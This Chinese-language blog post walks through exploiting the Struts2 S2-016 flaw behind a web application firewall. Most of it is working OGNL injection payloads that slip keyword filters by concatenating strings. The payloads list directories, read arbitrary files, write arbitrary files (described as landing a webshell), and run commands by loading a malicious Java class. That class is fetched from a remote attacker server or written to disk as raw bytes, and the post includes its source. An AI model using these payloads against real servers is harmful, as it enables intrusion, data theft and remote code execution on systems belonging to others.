struts2繞過waf讀寫檔案及另類方式執行命令

f0ng發表於2022-04-18

之前碰到過好幾次Struts2,還都是016,專案、眾測都遇到過,每次都只是證明了一下存在,由於waf的存在,沒有深入去利用,這裡簡單的記錄下。

0x01 背景

xray或者Struts2漏掃可以掃到網站存在Struts2漏洞

但是執行命令會發現直接Connection Reset,很明顯是被waf攔截了

0x02 探究waf規則

一個一個刪除關鍵字,發現攔截的關鍵字有三個:
Runtimedispatcher

  • Runtime很熟悉,執行命令一般都用這個,攔截了這個關鍵字,執行命令還是比較困難的
  • dispatcher比較陌生,查了資料以後發現是讀取Struts2的請求物件中的關鍵字
  • getRealPath字面意思,獲取真實路徑

0x03 嘗試突破

簡單說一下思路,在繞過waf關鍵字的前提下進行讀、寫檔案,如webshell落地;或者直接執行命令,如CS上線等。

  • dispatcher繞過
    可以通過拼接進行繞過,部分程式碼如下:
#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest')
  • 讀、寫檔案繞過

0x001 獲取web目錄

首先要繞過getRealPath關鍵字,可以使用req.getClass().getResource("/").getPath()進行繞過

redirect:${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#ot.print('web'),#ot.print('path:'),#ot.print(#req.getClass().getResource("/").getPath()),#ot.flush(),#ot.close()}

0x002 檢視目錄的檔案並列舉出來

讀取當前目錄的第一個檔名,payload如下:

redirect:http://www.baidu.com${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#ot.print('web'),#ot.print('path:'),#ot.print(new java.io.File(#req.getClass().getResource("/").getPath()).list()[1]),#ot.flush(),#ot.close()}

這裡由於也沒有進行深入研究ognl的迭代,所以直接在index累加了數字,如下:

redirect:http://www.baidu.com${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#ot.print('web'),#ot.print('path:'),#ot.print(new java.io.File(#req.getClass().getResource("/").getPath()).list()[1]),#ot.print('\n'),#ot.print(new java.io.File(#req.getClass().getResource("/").getPath()).list()[2]),#ot.print('\n'),#ot.print(new java.io.File(#req.getClass().getResource("/").getPath()).list()[3]),#ot.print('\n'),#ot.print(new java.io.File(#req.getClass().getResource("/").getPath()).list()[4]),#ot.print('\n'),#ot.print(new java.io.File(#req.getClass().getResource("/").getPath()).list()[5]),#ot.print('\n'),#ot.print(new java.io.File(#req.getClass().getResource("/").getPath()).list()[6]),#ot.print('\n'),#ot.print(new java.io.File(#req.getClass().getResource("/").getPath()).list()[7]),#ot.flush(),#ot.close()}

穿越目錄列舉檔案

redirect:http://www.baidu.com${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#ot.print('web'),#ot.print('path:'),#ot.print(new java.io.File(#req.getClass().getResource("/../").getPath()).list()[1]),#ot.print('\n'),#ot.print(new java.io.File(#req.getClass().getResource("/../").getPath()).list()[2]),#ot.print('\n'),#ot.print(new java.io.File(#req.getClass().getResource("/../").getPath()).list()[3]),#ot.print('\n'),#ot.print(new java.io.File(#req.getClass().getResource("/../").getPath()).list()[4]),#ot.print('\n'),#ot.print(new java.io.File(#req.getClass().getResource("/../").getPath()).list()[5]),#ot.print('\n'),#ot.print(new java.io.File(#req.getClass().getResource("/../").getPath()).list()[6]),#ot.print('\n'),#ot.print(new java.io.File(#req.getClass().getResource("/../").getPath()).list()[7]),#ot.print('\n'),#ot.print(new java.io.File(#req.getClass().getResource("/../").getPath()).list()[6]),#ot.print('\n'),#ot.print(new java.io.File(#req.getClass().getResource("/../").getPath()).list()[8]),#ot.flush(),#ot.close()}

0x003 讀取指定檔案,危害升級——任意檔案讀取
redirect:http://www.baidu.com${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#bb0=new java.io.BufferedReader(new java.io.FileReader("/usr/local/apache-tomcat-7.0.57/webapps/ROOT/WEB-INF/web.xml")),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.flush(),#ot.close()}


由於是按行讀取檔案,所以也是比較機械的使用了readLine函式

0x004 寫入指定檔案,危害升級——任意檔案寫入

建立檔案

redirect:http://www.baidu.com${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#bb0=new java.io.FileWriter("/usr/local/apache-tomcat-7.0.57/webapps/ROOT/WEB-INF/classes/message_ae.properties"),#ot.print(#bb0.getClass()),#ot.flush(),#ot.close()}


建立檔案成功

後續又建立了一個message_aaa.properties檔案,檢視檔案大小

redirect:http://www.baidu.com${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#bb0=new java.io.File("/usr/local/apache-tomcat-7.0.57/webapps/ROOT/WEB-INF/classes/messages_aaa.properties"),#ot.print(#bb0.length()),#ot.flush(),#ot.close()}  

發現只是建立了檔案,但是沒有寫入內容,所以檔案大小為0,對檔案內容的寫入

redirect:http://www.baidu.com${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#bb0=new java.io.BufferedWriter(new java.io.FileWriter("/usr/local/apache-tomcat-7.0.57/webapps/ROOT/WEB-INF/classes/messages_aaa.properties",true)),#bb0.append("aaaa"),#bb0.flush(),#bb0.close(),#ot.print(#bb0),#ot.flush(),#ot.close()}


寫入了四個位元組的內容aaaa

再次檢視檔案大小


大小更改,檔案寫入成功

  • 執行命令繞過

0x001 思路開啟

這裡也是嘗試了很久去繞過執行命令的關鍵字,發現都失敗了,waf攔截的很死,而且也不能像dispatcher繞過一樣拼接,幾乎快放棄的時候,想到了載入惡意類去執行命令的這個方法
惡意類程式碼如下:

// Filename: hello.java
import java.lang.Runtime;
import java.lang.Process;

public class hello {
    public hello() {
        try {
            String[] commands = { "ping", "test.xxx.dns.1433.eu.org" };
            Process pc = Runtime.getRuntime().exec(commands);
        } catch (Exception e) {
        }
    }

    public static void main(String[] args) {
        hello aa = new hello();
    }
}

使用命令

$ javac hello.java

編譯成class

0x002 初次嘗試載入惡意類
redirect:http://www.baidu.com${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#bb0=new java.net.URL[]{new java.net.URL("http://x.x.x.x:8000/")},#cc0=new java.net.URLClassLoader(#bb0),#cc0.loadClass("hello"),#cc0.newInstance(),#ot.print(#cc0.getClass()),#ot.flush(),#ot.close()}

轉換成java程式碼如下:

URL[] a = new URL[]{new URL("http://x.x.x.x:8000/")};
URLClassLoader b = new java.net.URLClassLoader(a);
b.loadClass("hello").newInstance();

這裡不知道為什麼失敗了,後面一步步除錯,發現loadClass可以發起請求

但是例項化的時候出錯了,後面也找不到什麼解決方法,停滯了相當長的一段時間

0x003 成功載入惡意類

後續又遇到了一個Struts2 016,然後循著之前所思考的繼續往下,更改了例項化的方法,最終成功了,具體成功payload如下:

redirect:http://www.baidu.com${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#bb0=new java.net.URL[]{new java.net.URL("http://x.x.x.x:8000/")},#cc0=new java.net.URLClassLoader(#bb0),#cc1=#cc0.loadClass("hello"),#cc1.getDeclaredMethods()[0].invoke(#cc1.newInstance()),#ot.print(),#ot.flush(),#ot.close()}
URL[] a = new URL[]{new URL("http://x.x.x.x:8000/")};
URLClassLoader b = new java.net.URLClassLoader(a);
b.loadClass("hello3").getDeclaredMethods()[0].invoke(b.loadClass("hello3").newInstance());

使用getDeclaredMethodsinvoke是可以成功載入惡意類執行命令的

0x004 不出網載入惡意類

後面又想了一會,如果在一個不出網的環境下,那怎麼可以載入惡意類去執行命令呢,想到了之前的寫入檔案,先寫入惡意類到本地,然後通過file協議去載入本地的惡意類,進而達到執行命令的目的

一開始想用base64編碼class檔案進行寫入,但是這裡不知道為什麼Base64的類引入不了,java.util.Base64sun.misc.BASE64Decoder都不行

這裡列印了類名,但是無回顯,說明payload內部環節有誤

後面轉變了一下思路,base64如果不行,那我如果用byte[]去寫入檔案,是不是也可以做到無損?
這裡沿用之前寫webshell的類,即new java.io.BufferedWriter(new java.io.FileWriter())

還是之前的hello.java檔案(其實這裡如果實際當中利用,推薦寫入還是為hello.class,因為需要載入惡意類,需要同一名稱,下文為了區分開,我取了其他名稱)

讀取hello.class的檔案為byte[]

public static void main(String[] args) throws IOException {
    byte[] data = getBytesByFile("hello.class");
    
    String total = "";
    for (byte d:data) {
        total = total +  d + ",";
        }
    System.out.println(total);
}

//將檔案轉換成Byte陣列
public static byte[] getBytesByFile(String pathStr) {
    File file = new File(pathStr);
    try {
        FileInputStream fis = new FileInputStream(file);
        ByteArrayOutputStream bos = new ByteArrayOutputStream(1000);
        byte[] b = new byte[1000];
        int n;
        while ((n = fis.read(b)) != -1) {
            bos.write(b, 0, n);
        }
        fis.close();
        byte[] data = bos.toByteArray();
        bos.close();
        return data;
    } catch (Exception e) {
        e.printStackTrace();
    }
    return null;
}

payload如下:

redirect:http://www.baidu.com${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#bb0=new java.io.BufferedWriter(new java.io.FileWriter("/xxxxx/classes/hellotest.class",true)),#a=new byte[]{-54,-2,-70,-66,0,0,0,52,0,37,10,0,10,0,22,7,0,23,8,0,24,8,0,25,10,0,26,0,27,10,0,26,0,28,7,0,29,7,0,30,10,0,8,0,22,7,0,31,1,0,6,60,105,110,105,116,62,1,0,3,40,41,86,1,0,4,67,111,100,101,1,0,15,76,105,110,101,78,117,109,98,101,114,84,97,98,108,101,1,0,13,83,116,97,99,107,77,97,112,84,97,98,108,101,7,0,30,7,0,29,1,0,4,109,97,105,110,1,0,22,40,91,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,86,1,0,10,83,111,117,114,99,101,70,105,108,101,1,0,10,104,101,108,108,111,46,106,97,118,97,12,0,11,0,12,1,0,16,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,1,0,4,112,105,110,103,1,0,29,116,101,115,116,46,51,57,100,57,48,56,101,102,46,100,110,115,46,49,52,51,51,46,101,117,46,111,114,103,7,0,32,12,0,33,0,34,12,0,35,0,36,1,0,19,106,97,118,97,47,108,97,110,103,47,69,120,99,101,112,116,105,111,110,1,0,5,104,101,108,108,111,1,0,16,106,97,118,97,47,108,97,110,103,47,79,98,106,101,99,116,1,0,17,106,97,118,97,47,108,97,110,103,47,82,117,110,116,105,109,101,1,0,10,103,101,116,82,117,110,116,105,109,101,1,0,21,40,41,76,106,97,118,97,47,108,97,110,103,47,82,117,110,116,105,109,101,59,1,0,4,101,120,101,99,1,0,40,40,91,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,76,106,97,118,97,47,108,97,110,103,47,80,114,111,99,101,115,115,59,0,33,0,8,0,10,0,0,0,0,0,2,0,1,0,11,0,12,0,1,0,13,0,0,0,106,0,4,0,3,0,0,0,32,42,-73,0,1,5,-67,0,2,89,3,18,3,83,89,4,18,4,83,76,-72,0,5,43,-74,0,6,77,-89,0,4,76,-79,0,1,0,4,0,27,0,30,0,7,0,2,0,14,0,0,0,26,0,6,0,0,0,5,0,4,0,8,0,19,0,9,0,27,0,12,0,30,0,11,0,31,0,13,0,15,0,0,0,16,0,2,-1,0,30,0,1,7,0,16,0,1,7,0,17,0,0,9,0,18,0,19,0,1,0,13,0,0,0,37,0,2,0,2,0,0,0,9,-69,0,8,89,-73,0,9,76,-79,0,0,0,1,0,14,0,0,0,10,0,2,0,0,0,16,0,8,0,17,0,1,0,20,0,0,0,2,0,21},#bb0.append(new java.lang.String(#a)),#bb0.flush(),#bb0.close(),#ot.print(#bb0),#ot.flush(),#ot.close()}

這裡寫入成功,但是發現兩者有很明顯的位元組差距

而且反編譯為空,識別不了

猜測是因為new java.lang.String的時候編碼導致的這個問題,所以繼續去找有沒有直接寫位元組的方法

後面找到java.io.FileOutputStream這個方法,直接通過write可以寫入位元組,poc如下:

redirect:http://www.baidu.com${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#bb0=new java.io.FileOutputStream("/xxxxx/classes/hello3.class"),#a=new byte[]{-54,-2,-70,-66,0,0,0,52,0,37,10,0,10,0,22,7,0,23,8,0,24,8,0,25,10,0,26,0,27,10,0,26,0,28,7,0,29,7,0,30,10,0,8,0,22,7,0,31,1,0,6,60,105,110,105,116,62,1,0,3,40,41,86,1,0,4,67,111,100,101,1,0,15,76,105,110,101,78,117,109,98,101,114,84,97,98,108,101,1,0,13,83,116,97,99,107,77,97,112,84,97,98,108,101,7,0,30,7,0,29,1,0,4,109,97,105,110,1,0,22,40,91,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,86,1,0,10,83,111,117,114,99,101,70,105,108,101,1,0,10,104,101,108,108,111,46,106,97,118,97,12,0,11,0,12,1,0,16,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,1,0,4,112,105,110,103,1,0,29,116,101,115,116,46,51,57,100,57,48,56,101,102,46,100,110,115,46,49,52,51,51,46,101,117,46,111,114,103,7,0,32,12,0,33,0,34,12,0,35,0,36,1,0,19,106,97,118,97,47,108,97,110,103,47,69,120,99,101,112,116,105,111,110,1,0,5,104,101,108,108,111,1,0,16,106,97,118,97,47,108,97,110,103,47,79,98,106,101,99,116,1,0,17,106,97,118,97,47,108,97,110,103,47,82,117,110,116,105,109,101,1,0,10,103,101,116,82,117,110,116,105,109,101,1,0,21,40,41,76,106,97,118,97,47,108,97,110,103,47,82,117,110,116,105,109,101,59,1,0,4,101,120,101,99,1,0,40,40,91,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,76,106,97,118,97,47,108,97,110,103,47,80,114,111,99,101,115,115,59,0,33,0,8,0,10,0,0,0,0,0,2,0,1,0,11,0,12,0,1,0,13,0,0,0,106,0,4,0,3,0,0,0,32,42,-73,0,1,5,-67,0,2,89,3,18,3,83,89,4,18,4,83,76,-72,0,5,43,-74,0,6,77,-89,0,4,76,-79,0,1,0,4,0,27,0,30,0,7,0,2,0,14,0,0,0,26,0,6,0,0,0,5,0,4,0,8,0,19,0,9,0,27,0,12,0,30,0,11,0,31,0,13,0,15,0,0,0,16,0,2,-1,0,30,0,1,7,0,16,0,1,7,0,17,0,0,9,0,18,0,19,0,1,0,13,0,0,0,37,0,2,0,2,0,0,0,9,-69,0,8,89,-73,0,9,76,-79,0,0,0,1,0,14,0,0,0,10,0,2,0,0,0,16,0,8,0,17,0,1,0,20,0,0,0,2,0,21},#bb0.write(#a),#bb0.flush(),#bb0.close(),#ot.print(#bb0),#ot.flush(),#ot.close()}

得到的結果如下:

反編譯也成功

那麼進行本地的file協議載入class類

redirect:http://www.baidu.com${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#bb0=new java.net.URL[]{new java.net.URL("file:/xxxxx/WEB-INF/classes/")},#cc0=new java.net.URLClassLoader(#bb0),#cc1=#cc0.loadClass("hello3"),#cc1.getDeclaredMethods()[0].invoke(#cc1.newInstance()),#ot.print(),#ot.flush(),#ot.close()}

dns平臺接收到請求,利用成功

0x04 總結

  1. 碰到waf不能直接放棄,在能力範圍內進行不斷嘗試與繞過,也許就可以進行繞過。
  2. 儘可能對payload程式碼進行研究,而不是隻依賴於工具,儘量不要工具成功我就成功,工具失敗我就失敗這種觀點。

參考連結:

https://github.com/vulhub/vulhub/tree/master/struts2/s2-016 【struts2 016環境】

相關文章